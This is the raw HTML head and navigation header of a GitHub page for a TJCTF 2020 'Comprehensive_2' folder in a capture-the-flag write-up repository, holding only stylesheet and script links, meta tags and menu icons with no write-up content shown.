<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>Writeups/TJCTF 2020/Comprehensive_2 at master · PWN-to-0xE4/Writeups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="A0B4:6BE1:1C6FAC1A:1D4592F2:64122035" data-pjax-transient="true"/><meta name="html-safe-nonce" content="e5659af16bbddd6458336a96629f1e20ca61ec4cd9971ea27ecaa83bc2431626" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBMEI0OjZCRTE6MUM2RkFDMUE6MUQ0NTkyRjI6NjQxMjIwMzUiLCJ2aXNpdG9yX2lkIjoiMTUyNzA5NzYzMTE4NDEzNDE5NyIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="7b782351e0d4eea4549462bea0dbb65a899dc1bc1a764d0645de54367c751a83" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:267159226" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="A set of all our CTF write-ups. . Contribute to PWN-to-0xE4/Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/dc126b761dd1dea617a40b4d0283ae213cb8c213dfb86cfb54d978427a40f25e/PWN-to-0xE4/Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="Writeups/TJCTF 2020/Comprehensive_2 at master · PWN-to-0xE4/Writeups" /><meta name="twitter:description" content="A set of all our CTF write-ups. . Contribute to PWN-to-0xE4/Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/dc126b761dd1dea617a40b4d0283ae213cb8c213dfb86cfb54d978427a40f25e/PWN-to-0xE4/Writeups" /><meta property="og:image:alt" content="A set of all our CTF write-ups. . Contribute to PWN-to-0xE4/Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="Writeups/TJCTF 2020/Comprehensive_2 at master · PWN-to-0xE4/Writeups" /><meta property="og:url" content="https://github.com/PWN-to-0xE4/Writeups" /><meta property="og:description" content="A set of all our CTF write-ups. . Contribute to PWN-to-0xE4/Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/PWN-to-0xE4/Writeups git https://github.com/PWN-to-0xE4/Writeups.git">
<meta name="octolytics-dimension-user_id" content="65982425" /><meta name="octolytics-dimension-user_login" content="PWN-to-0xE4" /><meta name="octolytics-dimension-repository_id" content="267159226" /><meta name="octolytics-dimension-repository_nwo" content="PWN-to-0xE4/Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="267159226" /><meta name="octolytics-dimension-repository_network_root_nwo" content="PWN-to-0xE4/Writeups" />
<link rel="canonical" href="https://github.com/PWN-to-0xE4/Writeups/tree/master/TJCTF%202020/Comprehensive_2" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
